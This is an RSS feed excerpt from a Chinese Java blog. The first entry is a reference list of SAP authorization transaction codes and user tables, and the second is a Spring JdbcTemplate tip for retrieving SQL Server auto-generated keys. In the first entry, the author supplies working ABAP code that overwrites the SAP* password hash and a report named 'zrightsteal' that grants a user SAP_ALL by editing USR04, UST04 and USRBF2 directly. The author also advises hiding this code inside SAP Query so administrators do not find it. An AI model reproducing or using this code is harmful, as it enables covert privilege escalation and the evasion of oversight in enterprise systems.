<p>(一)Role(角色)相关T-code:<br>PFAC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 标准<br>PFAC_CHG&nbsp;改变<br>PFAC_DEL&nbsp;删除<br>PFAC_DIS&nbsp;显示<br>PFAC_INS&nbsp;新建<br>PFAC_STR<br>PFCG&nbsp;&nbsp;创建<br>ROLE_CMP&nbsp;比较<br>SUPC&nbsp;&nbsp;批量建立角色profile<br>SWUJ&nbsp;&nbsp;测试<br>SU03&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 检测authorzation data<br>SU25, SU26&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 检查updated profile<br>(二)建立用户相关T-code:<br>SU0&nbsp;&nbsp;<br>SU01&nbsp;&nbsp;<br>SU01D&nbsp;&nbsp;<br>SU01_NAV&nbsp;<br>SU05&nbsp;<br>SU50, Su51, SU52&nbsp;<br>SU1&nbsp;&nbsp;<br>SU10&nbsp;&nbsp;批量<br>SU12&nbsp;&nbsp;批量<br>SUCOMP:维护用户公司地址<br>SU2&nbsp;&nbsp;change用户参数<br>SUIM&nbsp;&nbsp;用户信息系统<br>用户组<br>SUGR:维护&nbsp;<br>SUGRD:显示<br>SUGRD_NAV:还是维护<br>SUGR_NAV:还是显示<br>&nbsp;<br>(三)关于profile&amp;Authoraztion Data<br>SU02:直接创建profile不用role<br>SU20:细分Authorization Fields</p>
<p>SU21(SU03):****维护Authorization Objects(TOBJ,USR12).<br>对于凭证你可细分到:<br>F_BKPF_BED: Accounting Document: Account Authorization for Customers<br>F_BKPF_BEK: Accounting Document: Account Authorization for Vendors<br>F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts<br>F_BKPF_BLA: Accounting Document: Authorization for Document Types<br>F_BKPF_BUK: Accounting Document: Authorization for Company Codes<br>F_BKPF_BUP: Accounting Document: Authorization for Posting Periods<br>F_BKPF_GSB: Accounting Document: Authorization for Business Areas<br>F_BKPF_KOA: Accounting Document: Authorization for Account Types<br>F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy<br>然后你进去还可细分,这些个东西是save在USR12表中的. 在DB层是UTAB.</p>
<p>对具体transaction code细分:&nbsp;&nbsp;&nbsp;&nbsp; <br>SU22,SU24&nbsp;&nbsp;<br>SU53:*** 就是你出错用来检查没有那些authoraztion objects.<br>SU56:分析authoraztion data buffers.<br>SU87:用来检查用户改变产生的history<br>SU96,SU97,SU98,SU99:干啥的?<br>SUPC:批量产生role</p>
<p>DB和logical层:<br>SUKRI:Transaction Combinations Critical for Security<br>tables:<br>TOBJ : All avaiable authorzation objects.(全在此)<br>USR12: 用户级authoraztion值<br>-----------------------------<br>USR01:主数据<br>USR02:密码在此<br>USR04:授权在此<br>USR03:User address data<br>USR05:User Master Parameter ID<br>USR06:Additional Data per User<br>USR07:Object/values of last authorization check that failed<br>USR08:Table for user menu entries<br>USR09:Entries for user menus (work areas)<br>USR10:User master authorization profiles<br>USR11:User Master Texts for Profiles (USR10)<br>USR12:User master authorization values<br>USR13:Short Texts for Authorizations<br>USR14:Surchargeable Language Versions per User<br>USR15:External User Name<br>USR16:Values for Variables for User Authorizations<br>USR20:Date of last user master reorganization<br>USR21:Assign user name address key<br>USR22:Logon data without kernel access<br>USR30:Additional Information for User Menu<br>USR40:Table for illegal passwords<br>USR41:当前用户<br>USREFUS:<br>USRBF2<br>USRBF3<br>UST04:User Profile在此<br>UST10C: Composite profiles<br>UST10S: Single profiles (角色对应的<br>UST12 : Authorizations..............................</p>
<p>..............................<br>如何窃取权限</p>
<p>..............................<br></p>
<p>用户:<br>User type用户类型(干啥用的不讲):<br>通常的用户类型有<br>a.dialog (就是normal user)<br>b.communication<br>c.system<br>d.service<br>e.reference.</p>
<p>通常你在使用任何T-code前一定会有权限检测的.<br>AUTHORITY_CHECK:这个函数只是小检查一下你的user有没有,什么时候过期.<br>**如果coding只要使用此函数就够了.<br>AUTHORITY_CHECK_TCODE:检查T-code</p>
<p>这倆函数是真正检查autorization objects的.<br>SUSR_USER_AUTH_FOR_OBJ_GET:<br>AUTHORIZATION_DATA_READ_SELOBJ:<br>------------------------------------------<br>将SAP*的密码改成123的程序,很简单.<br>我们找到那个user logon表USR02.<br>(DF52478E6FF90EEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密?)<br>report zmodSAP*.<br>data zUSR02 like USR02 .<br>select&nbsp; single * into zUSR02 from USR02 <br>where BNAME = 'SAP*'.<br>zUSR02-Bcode = 'DF52478E6FF90EEB' . <br>Update USR02 from zUSR02&nbsp; .</p>
<p>&nbsp;</p>
<p>现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个<br>query,query是会产生code的,然后你加入此代码,谁能想到???然后你就等你的basis去哭...</p>
<p>这样做太狠毒了.还是自己偷偷搞自己的用户吧.<br>在此你必须对权限结构非常清晰.<br>权限和三个表有关系.<br>a.USR04<br>b.USR04<br>c.USRBF2&nbsp; 这个表是对应到所用的authorzization objects的.<br>*&amp;---------------------------------------------------------------------*<br>*&amp; Report&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Steal SAP ALL Right&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br>*&amp; Creation Date : 2004.04.01&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br>*&amp; Created by&nbsp;&nbsp;&nbsp; : Stone.Fu&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br>*&amp; Description&nbsp;&nbsp; : 可窃取SAP ALL权限&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br>*&amp; Modified Date : 2005.11.02<br>*&amp; Description&nbsp;&nbsp; : 将此code hide在report painter or query&nbsp; code&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br>*&amp;---------------------------------------------------------------------*</p>
<p>report zrightsteal.<br>data zUSR04 like USR04 . "????????work area??<br>data zUST04 like USR04 .<br>data zPROFS&nbsp; like USR04-PROFS.<br>data ZUSRBF2 like USRBF2 occurs 0 with header line.<br>"USRBF2?????internal table<br>** Update Authorization table USR04.<br>select&nbsp; single * into zUSR04 from USR04<br>where BNAME = 'ZABC2'. "SAP All 权限<br>move 'C SAP_ALL' to zPROFS .<br>ZUSR04-NRPRO = '14'.<br>zUSR04-PROFS&nbsp; = zPROFS.<br>Update USR04 from zUSR04&nbsp; .</p>
<p>**Update User authorization masters table UST04 .<br>select&nbsp; single * into zUST04 from UST04<br>where BNAME = 'ZABC2'.<br>zUST04-PROFILE&nbsp; = 'SAP_ALL'. "SAP all 权限<br>Update UST04 from zUST04 .</p>
<p>*?????insert<br>*ZUST04-MANDT = '200'.<br>*ZUST04-BNAME = 'ZABC2'.<br>*ZUST04-PROFILE = 'SAP_ALL'.<br>*Insert UST04 from ZUST04 .</p>
<p>select *&nbsp; from&nbsp; USRBF2 into table ZUSRBF2<br>where BNAME = 'SAP*' .<br>Loop at ZUSRBF2.<br>ZUSRBF2-BNAME = 'ZABC2'.<br>Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.<br>endloop.<br>INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.</p>
<p>自己建立一个ztest用户不给它任何权限然后在test machine上run&nbsp; 报表zrightsteal.</p>
<p>然后ztest就是SAP_ALL了, 然后你将code hide在SQP query的code中. ABAP code太容易被人发现.&nbsp; K, 现在我碰到一个大问题了, 记帐程序被改的出了问题..</p>
</div>
<img src ="http://www.blogjava.net/junky/aggbug/129697.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-07-11 21:04 <a href="http://www.blogjava.net/junky/archive/2007/07/11/129697.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>利用 JdbcTemplate 自动返回 MS SQL SERVER 2005 自增主键值</title><link>http://www.blogjava.net/junky/archive/2007/07/11/129604.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Wed, 11 Jul 2007 05:54:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/07/11/129604.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/129604.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/07/11/129604.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/129604.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/129604.html</trackback:ping><description><![CDATA[JDBC3 中可以直接获取当前插入记录的 ID 值，具体的调用方式如下：<br><br>
<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: rgb(230,230,230) 0% 50%; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 95%; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid; moz-background-clip: -moz-initial; moz-background-origin: -moz-initial; moz-background-inline-policy: -moz-initial">
<div><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top><span style="COLOR: rgb(0,0,0)">Statement&nbsp;stmt&nbsp;</span><span style="COLOR: rgb(0,0,0)">=</span><span style="COLOR: rgb(0,0,0)">&nbsp;conn.createStatement();<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top>stmt.executeUpdate(</span><span style="COLOR: rgb(0,0,0)">"</span><span style="COLOR: rgb(0,0,0)">INSERT&nbsp;INTO&nbsp;authors&nbsp;(first_name,&nbsp;last_name)&nbsp;values<br>&nbsp;(&#8242;George&#8242;,&nbsp;&#8242;Orwell&#8242;)</span><span style="COLOR: rgb(0,0,0)">"</span><span style="COLOR: rgb(0,0,0)">,&nbsp;Statement.RETURN_GENERATED_KEYS);<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top>ResultSet&nbsp;rs&nbsp;</span><span style="COLOR: rgb(0,0,0)">=</span><span style="COLOR: rgb(0,0,0)">&nbsp;stmt.getGeneratedKeys();<br><img id=_226_252_Open_Image onclick="this.style.display='none'; document.getElementById('_226_252_Open_Text').style.display='none'; document.getElementById('_226_252_Closed_Image').style.display='inline'; document.getElementById('_226_252_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=_226_252_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_226_252_Closed_Text').style.display='none'; document.getElementById('_226_252_Open_Image').style.display='inline'; document.getElementById('_226_252_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedBlock.gif" align=top></span><span style="COLOR: rgb(0,0,255)">if</span><span style="COLOR: rgb(0,0,0)">&nbsp;(&nbsp;rs.next()&nbsp;)&nbsp;</span><span id=_226_252_Closed_Text style="BORDER-RIGHT: rgb(128,128,128) 1px solid; BORDER-TOP: rgb(128,128,128) 1px solid; DISPLAY: none; BORDER-LEFT: rgb(128,128,128) 1px solid; BORDER-BOTTOM: rgb(128,128,128) 1px solid; BACKGROUND-COLOR: rgb(255,255,255)">...</span><span id=_226_252_Open_Text><span style="COLOR: rgb(0,0,0)">{<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">int</span><span style="COLOR: rgb(0,0,0)">&nbsp;key&nbsp;</span><span style="COLOR: rgb(0,0,0)">=</span><span style="COLOR: rgb(0,0,0)">&nbsp;rs.getInt();<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span></div>
</div>
<br>由于实际与数据库交互采用的是 JdbcTemplate，因而需要找到它对这种方式的支持。经过实际的查看 Spring 的 API 发现其本身提供相应的方法支持，经过多次的实验后得到如下的实现方法：<br><br>
<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: rgb(230,230,230) 0% 50%; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 95%; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid; moz-background-clip: -moz-initial; moz-background-origin: -moz-initial; moz-background-inline-policy: -moz-initial">
<div><img id=_42_848_Open_Image onclick="this.style.display='none'; document.getElementById('_42_848_Open_Text').style.display='none'; document.getElementById('_42_848_Closed_Image').style.display='inline'; document.getElementById('_42_848_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=_42_848_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_42_848_Closed_Text').style.display='none'; document.getElementById('_42_848_Open_Image').style.display='inline'; document.getElementById('_42_848_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedBlock.gif" align=top><span style="COLOR: rgb(0,0,255)">private</span><span style="COLOR: rgb(0,0,0)">&nbsp;</span><span style="COLOR: rgb(0,0,255)">void</span><span style="COLOR: rgb(0,0,0)">&nbsp;insert(</span><span style="COLOR: rgb(0,0,255)">final</span><span style="COLOR: rgb(0,0,0)">&nbsp;Profile&nbsp;profile)</span><span id=_42_848_Closed_Text style="BORDER-RIGHT: rgb(128,128,128) 1px solid; BORDER-TOP: rgb(128,128,128) 1px solid; DISPLAY: none; BORDER-LEFT: rgb(128,128,128) 1px solid; BORDER-BOTTOM: rgb(128,128,128) 1px solid; BACKGROUND-COLOR: rgb(255,255,255)">...</span><span id=_42_848_Open_Text><span style="COLOR: rgb(0,0,0)">{<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">final</span><span style="COLOR: rgb(0,0,0)">&nbsp;String&nbsp;_save&nbsp;</span><span style="COLOR: rgb(0,0,0)">=</span><span style="COLOR: rgb(0,0,0)">&nbsp;</span><span style="COLOR: rgb(0,0,0)">"</span><span style="COLOR: rgb(0,0,0)">insert&nbsp;into&nbsp;Newsletter_Profile&nbsp;(user_id,&nbsp;publication_id,&nbsp;last_update)&nbsp;values&nbsp;(?,&nbsp;?,&nbsp;getdate())</span><span style="COLOR: rgb(0,0,0)">"</span><span style="COLOR: rgb(0,0,0)">;<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;JdbcTemplate&nbsp;template&nbsp;</span><span style="COLOR: rgb(0,0,0)">=</span><span style="COLOR: rgb(0,0,0)">&nbsp;</span><span style="COLOR: rgb(0,0,255)">this</span><span style="COLOR: rgb(0,0,0)">.getJdbcTemplate();<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;KeyHolder&nbsp;keyHolder&nbsp;</span><span style="COLOR: rgb(0,0,0)">=</span><span style="COLOR: rgb(0,0,0)">&nbsp;</span><span style="COLOR: rgb(0,0,255)">new</span><span style="COLOR: rgb(0,0,0)">&nbsp;GeneratedKeyHolder();<br><img id=_310_769_Open_Image onclick="this.style.display='none'; document.getElementById('_310_769_Open_Text').style.display='none'; document.getElementById('_310_769_Closed_Image').style.display='inline'; document.getElementById('_310_769_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=_310_769_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_310_769_Closed_Text').style.display='none'; document.getElementById('_310_769_Open_Image').style.display='inline'; document.getElementById('_310_769_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedSubBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;template.update(</span><span style="COLOR: rgb(0,0,255)">new</span><span style="COLOR: rgb(0,0,0)">&nbsp;PreparedStatementCreator()&nbsp;</span><span id=_310_769_Closed_Text style="BORDER-RIGHT: rgb(128,128,128) 1px solid; BORDER-TOP: rgb(128,128,128) 1px solid; DISPLAY: none; BORDER-LEFT: rgb(128,128,128) 1px solid; BORDER-BOTTOM: rgb(128,128,128) 1px solid; BACKGROUND-COLOR: rgb(255,255,255)">...</span><span id=_310_769_Open_Text><span style="COLOR: rgb(0,0,0)">{<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">public</span><span style="COLOR: rgb(0,0,0)">&nbsp;PreparedStatement&nbsp;createPreparedStatement(Connection&nbsp;con)<br><img id=_402_755_Open_Image onclick="this.style.display='none'; document.getElementById('_402_755_Open_Text').style.display='none'; document.getElementById('_402_755_Closed_Image').style.display='inline'; document.getElementById('_402_755_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=_402_755_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_402_755_Closed_Text').style.display='none'; document.getElementById('_402_755_Open_Image').style.display='inline'; document.getElementById('_402_755_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedSubBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">throws</span><span style="COLOR: rgb(0,0,0)">&nbsp;SQLException&nbsp;</span><span id=_402_755_Closed_Text style="BORDER-RIGHT: rgb(128,128,128) 1px solid; BORDER-TOP: rgb(128,128,128) 1px solid; DISPLAY: none; BORDER-LEFT: rgb(128,128,128) 1px solid; BORDER-BOTTOM: rgb(128,128,128) 1px solid; BACKGROUND-COLOR: rgb(255,255,255)">...</span><span id=_402_755_Open_Text><span style="COLOR: rgb(0,0,0)">{<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">int</span><span style="COLOR: rgb(0,0,0)">&nbsp;i&nbsp;</span><span style="COLOR: rgb(0,0,0)">=</span><span style="COLOR: rgb(0,0,0)">&nbsp;</span><span style="COLOR: rgb(0,0,0)">0</span><span style="COLOR: rgb(0,0,0)">;<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PreparedStatement&nbsp;ps&nbsp;</span><span style="COLOR: rgb(0,0,0)">=</span><span style="COLOR: rgb(0,0,0)">&nbsp;con.prepareStatement(_save,<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="BACKGROUND-COLOR: rgb(255,255,0)">Statement.RETURN_GENERATED_KEYS</span>);<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ps.setInt(</span><span style="COLOR: rgb(0,0,0)">++</span><span style="COLOR: rgb(0,0,0)">i,&nbsp;profile.getCustomerId().intValue());<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ps.setInt(</span><span style="COLOR: rgb(0,0,0)">++</span><span style="COLOR: rgb(0,0,0)">i,&nbsp;profile.getPublication().getId());<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">return</span><span style="COLOR: rgb(0,0,0)">&nbsp;ps;<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: rgb(0,0,0)"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: rgb(0,0,0)">,&nbsp;keyHolder);<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;profile.setId(keyHolder.getKey().intValue());<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: rgb(0,0,0)">&nbsp;</span></div>
</div>
<br>特别需要注意的地方是<span id=_42_848_Open_Text><span id=_310_769_Open_Text><span id=_402_755_Open_Text><span style="COLOR: rgb(0,0,0)"><span style="BACKGROUND-COLOR: rgb(255,255,0)">Statement.RETURN_GENERATED_KEYS</span></span></span></span></span>，在使用MS SQL Server 2005 提供的 JDBC Driver 中上面的部分是必须的。之所以这么说是因为 google 出来的所有资料都是没有该部分的，甚至 Spring 自身的 document 中也是没有该参数的。我现在不知道那些代码是否能够真正的获取到 Key，但是现在我 suppose 它们是可以 run 的。<br><br>如果没有加入 <span id=_42_848_Open_Text><span id=_310_769_Open_Text><span id=_402_755_Open_Text><span style="COLOR: rgb(0,0,0)"><span style="BACKGROUND-COLOR: rgb(255,255,0)">Statement.RETURN_GENERATED_KEYS&nbsp; </span></span></span></span></span>，在实际进行数据库操作时会出现如下的异常：<br>PreparedStatementCallback; uncategorized SQLException for SQL []; SQL state [null]; error code [0]; The statement must be executed before any results can be obtained.; nested exception is com.microsoft.sqlserver.jdbc.SQLServerException: The statement must be executed before any results can be obtained.<br>caused by : com.microsoft.sqlserver.jdbc.SQLServerException: The statement must be executed before any results can be obtained.<br><span>org.springframework.jdbc.UncategorizedSQLException: PreparedStatementCallback; uncategorized SQLException for SQL []; SQL state [null]; error code [0]; The statement must be executed before any results can be obtained.; nested exception is com.microsoft.sqlserver.jdbc.SQLServerException: The statement must be executed before any results can be obtained. </span><br>Caused by: com.microsoft.sqlserver.jdbc.SQLServerException: The statement must be executed before any results can be obtained. <br>at com.microsoft.sqlserver.jdbc.SQLServerException.makeFromDriverError(Unknown Source) <br>at com.microsoft.sqlserver.jdbc.SQLServerStatement.getGeneratedKeys(Unknown Source) <br>at weblogic.jdbc.wrapper.PreparedStatement_com_microsoft_sqlserver_jdbc_SQLServerPreparedStatement.getGeneratedKeys(Unknown Source) <br>at org.springframework.jdbc.core.JdbcTemplate$3.doInPreparedStatement(JdbcTemplate.java:772) <br>at org.springframework.jdbc.core.JdbcTemplate.execute(JdbcTemplate.java:527) <br>at org.springframework.jdbc.core.JdbcTemplate.update(JdbcTemplate.java:767) <br>at com.fdc.reports20.dao.NewsletterDAO.insert(NewsletterDAO.java:179) <br>at com.fdc.reports20.dao.NewsletterDAO.save(NewsletterDAO.java:153) <br>at com.fdc.reports20.dao.NewsletterDAO.update(NewsletterDAO.java:138) <br>at com.fdc.reports20.business.service.user.AlertServiceImpl.updateNewsletter(AlertServiceImpl.java:146) <br>at com.fdc.reports20.business.service.user.AlertServiceImpl$$FastClassByCGLIB$$52b80fbc.invoke() <br>at net.sf.cglib.proxy.MethodProxy.invoke(MethodProxy.java:149) <br>at org.springframework.aop.framework.Cglib2AopProxy$CglibMethodInvocation.invokeJoinpoint(Cglib2AopProxy.java:674) <br>at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:154) <br>at org.springframework.aop.aspectj.AspectJAfterThrowingAdvice.invoke(AspectJAfterThrowingAdvice.java:52) <br>at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:176) <br>at org.springframework.aop.framework.adapter.MethodBeforeAdviceInterceptor.invoke(MethodBeforeAdviceInterceptor.java:53) <br>at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:176) <br>at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:107) <br>at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:176) <br>at org.springframework.aop.interceptor.ExposeInvocationInterceptor.invoke(ExposeInvocationInterceptor.java:89) <br>at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:176) <br>at org.springframework.aop.framework.Cglib2AopProxy$DynamicAdvisedInterceptor.intercept(Cglib2AopProxy.java:615) <br>at com.fdc.reports20.business.service.user.AlertServiceImpl$$EnhancerByCGLIB$$a12ee5d8.updateNewsletter() <br>at com.fdc.reports20.web.delegate.AlertBD.updateNewsletter(AlertBD.java:78) <br>at com.fdc.reports20.web.jpf.um.workbench.WorkBenchController.editPublicationEmails(WorkBenchController.java:149) <br>at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) <br><span id=_42_848_Open_Text><span id=_310_769_Open_Text><span id=_402_755_Open_Text><span style="COLOR: rgb(0,0,0)"><span style="BACKGROUND-COLOR: rgb(255,255,0)"></span></span></span></span><br></span>
<img src ="http://www.blogjava.net/junky/aggbug/129604.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-07-11 13:54 <a href="http://www.blogjava.net/junky/archive/2007/07/11/129604.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>spring+JAX-RPC(Axis) 构建webservice</title><link>http://www.blogjava.net/junky/archive/2007/07/06/128590.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Fri, 06 Jul 2007 07:07:00 